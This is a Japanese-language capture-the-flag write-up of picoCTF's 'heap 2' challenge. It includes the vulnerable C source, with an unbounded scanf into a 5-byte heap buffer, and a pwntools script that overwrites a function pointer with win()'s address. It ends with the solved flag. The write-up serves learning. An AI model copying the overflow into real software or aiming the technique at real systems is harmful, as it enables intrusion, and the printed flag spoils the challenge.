heap 2 (Binary Exploitation)
Can you handle function pointers? Download the binary here. Download the source here. Connect with the challenge instance here: nc mimas.picoctf.net 64513
添付ファイル
・chall
・chall.c
とりあえず、nc mimas.picoctf.net 64513
を実行する。
$ nc mimas.picoctf.net 64513
I have a function, I sometimes like to call it, maybe you should change it
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x1c012b0 -> pico
+-------------+-----------+
[*] 0x1c012d0 -> bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 3
x = bico
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 1
[*] Address -> Value
+-------------+-----------+
[*] 0x1c012b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+-----------+
[*] 0x1c012d0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa1
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit
Enter your choice: 3
x = aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa3
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
大量のaをbufferに入力すると、addressが0x1c012b0の方は、64文字+choice:1+大量のa
となり、addressが0x1c012d0の方は、32文字+choice:1+大量のa
となった。文字数の差はaddressの差分が0x20あることによる。choiceを3にすると、0x1c012d0の出力と選択肢が1→3になった以外に異なる点はない。
ソースコードを見る。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define FLAGSIZE_MAX 64
int num_allocs;
char *x;
char *input_data;
void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);
fflush(stdout);
exit(0);
}
void check_win() { ((void (*)())*(int*)x)(); }
void print_menu() {
printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
"Exit\n\nEnter your choice: ");
fflush(stdout);
}
void init() {
printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
fflush(stdout);
input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);
}
void write_buffer() {
printf("Data for buffer: ");
fflush(stdout);
scanf("%s", input_data);
}
void print_heap() {
printf("[*] Address -> Value \n");
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", input_data, input_data);
printf("+-------------+-----------+\n");
printf("[*] %p -> %s\n", x, x);
fflush(stdout);
}
int main(void) {
// Setup
init();
int choice;
while (1) {
print_menu();
if (scanf("%d", &choice) != 1) exit(0);
switch (choice) {
case 1:
// print heap
print_heap();
break;
case 2:
write_buffer();
break;
case 3:
// print x
printf("\n\nx = %s\n\n", x);
fflush(stdout);
break;
case 4:
// Check for win condition
check_win();
break;
case 5:
// exit
return 0;
default:
printf("Invalid choice\n");
fflush(stdout);
}
}
}
check_win関数はxの最初の4byteを整数(アドレス)として取得し、このアドレスが指す任意の関数を実行することができる。xをwin関数のアドレスに書き換えるとフラグが出力できそうである。
win関数のアドレスを確認する。
38: 00000000004011a0 66 FUNC GLOBAL DEFAULT 14 win
$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5184d264ae0c1259ba3bb7a1e20fc348b4274b0, for GNU/Linux 3.2.0, with debug_info, not stripped
$ checksec chall
[*] '/home/colza-picoctf/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
以下、実行コード。
from pwn import *
p = remote("mimas.picoctf.net", 64513)
payload = b"a"*32
payload += p64(0x004011a0)
p.sendlineafter('Enter your choice:', "2")
p.sendline(payload)
p.sendlineafter('Enter your choice:', "4")
p.interactive()
実行する。
$ python solver.py
[+] Opening connection to mimas.picoctf.net on port 62005: Done
/home/colza-picoctf/solver.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Enter your choice:', "2")
/usr/local/lib/python3.10/dist-packages/pwnlib/tubes/tube.py:841: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
res = self.recvuntil(delim, timeout=timeout)
/home/colza-picoctf/solver.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter('Enter your choice:', "4")
[*] Switching to interactive mode
picoCTF{and_down_the_road_we_go_dbb7ff66}
[*] Got EOF while reading in interactive
フラグが得られた。
picoCTF{and_down_the_road_we_go_dbb7ff66}